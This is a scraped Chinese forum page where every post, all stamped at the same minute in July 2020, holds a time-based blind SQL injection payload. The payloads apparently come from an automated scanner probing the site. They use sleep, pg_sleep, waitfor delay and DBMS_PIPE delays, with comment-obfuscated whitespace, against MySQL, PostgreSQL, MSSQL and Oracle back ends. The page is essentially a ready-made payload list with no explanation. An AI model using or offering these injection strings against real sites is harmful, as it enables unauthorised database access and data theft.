发表于 2020-7-29 11:29
(select*from(select+sleep(2)union/**/select+1)a)
发表于 2020-7-29 11:29
20'and(select*from(select+sleep(0))a/**/union/**/select+1)='
发表于 2020-7-29 11:29
20'and(select*from(select+sleep(2))a/**/union/**/select+1)='
发表于 2020-7-29 11:29
20"and(select*from(select+sleep(0))a/**/union/**/select+1)="
发表于 2020-7-29 11:29
20"and(select*from(select+sleep(2))a/**/union/**/select+1)="
发表于 2020-7-29 11:29
20/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
发表于 2020-7-29 11:29
20/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
发表于 2020-7-29 11:29
20'/**/and(select'1'from/**/pg_sleep(0))>'0
发表于 2020-7-29 11:29
20'/**/and(select'1'from/**/pg_sleep(2))>'0
发表于 2020-7-29 11:29
20/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
发表于 2020-7-29 11:29
20/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
发表于 2020-7-29 11:29
20'and(select+1)>0waitfor/**/delay'0:0:0
发表于 2020-7-29 11:29
20'and(select+1)>0waitfor/**/delay'0:0:2
发表于 2020-7-29 11:29
20/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('u',0)
发表于 2020-7-29 11:29
20/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('f',2)
发表于 2020-7-29 11:29
20'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('u',0)='u
发表于 2020-7-29 11:29
20'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('i',2)='i
发表于 2020-7-29 11:29
20
发表于 2020-7-29 11:29
20
发表于 2020-7-29 11:29
20